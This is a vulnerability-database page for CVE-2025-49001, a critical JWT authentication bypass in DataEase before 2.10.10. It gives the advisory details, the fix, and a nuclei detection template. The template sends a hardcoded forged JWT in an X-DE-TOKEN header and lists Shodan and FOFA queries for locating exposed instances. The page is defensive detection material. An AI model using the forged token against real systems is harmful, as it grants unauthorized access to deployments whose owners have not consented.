HexBrain

Browse / CVEs / CVE-2025-49001

CVE-2025-49001· dataease / dataease· CWE-287

DataEase < 2.10.10 - JWT Authentication Bypass

criticalseverity
9.8CVSS score
23.1%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

DataEase < 2.10.10 contains a broken authentication caused by ineffective secret verification, letting users forge JWT tokens, exploit requires no special privileges.

Impact

Users can forge JWT tokens, potentially gaining unauthorized access to the system.

Fix

Update to version 2.10.10 or later.

How to confirm it

Send: GET {{BaseURL}}/de2api/user/info
Positive when: status_code == 401 and contains(body, "token is empty")
Send: GET /de2api/user/info
Positive when: status 400 AND contains in header "de-gateway-flag" and "hmacsha256" AND contains "getWriter() has already been called"

Run it with nuclei: nuclei -id CVE-2025-49001 -u <target>

The full check
id: CVE-2025-49001

info:
  name: DataEase < 2.10.10 - JWT Authentication Bypass
  author: YunSeoJo,aryu-ru
  severity: critical
  description: |
    DataEase < 2.10.10 contains a broken authentication caused by ineffective secret verification, letting users forge JWT tokens, exploit requires no special privileges.
  impact: |
    Users can forge JWT tokens, potentially gaining unauthorized access to the system.
  remediation: |
    Update to version 2.10.10 or later.
  reference:
    - https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r
    - https://github.com/dataease/dataease
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49001
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-49001
    cwe-id: CWE-287
    epss-score: 0.23058
    epss-percentile: 0.9777
  metadata:
    verified: true
    max-request: 2
    vendor: dataease
    product: dataease
    shodan-query: http.title:"DataEase"
    fofa-query: title="DataEase"
  tags: cve,cve2025,dataease,auth-bypass,jwt,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/de2api/user/info"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "token is empty")'
        condition: and
        internal: true

  - raw:
      - |
        GET /de2api/user/info HTTP/1.1
        Host: {{Hostname}}
        X-DE-TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5fQ.tDSRWgqgE9BTy9NDpTE0ZAI2GKxOFPllYz-jOJu635A

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 400

      - type: word
        part: header
        words:
          - "de-gateway-flag"
          - "hmacsha256"
        condition: and
        case-insensitive: true

      - type: word
        part: body
        words:
          - "getWriter() has already been called"

    extractors:
      - type: kval
        part: header
        kval:
          - x_de_execute_version

References

Use this check only on systems you are authorised to test. Where the data comes from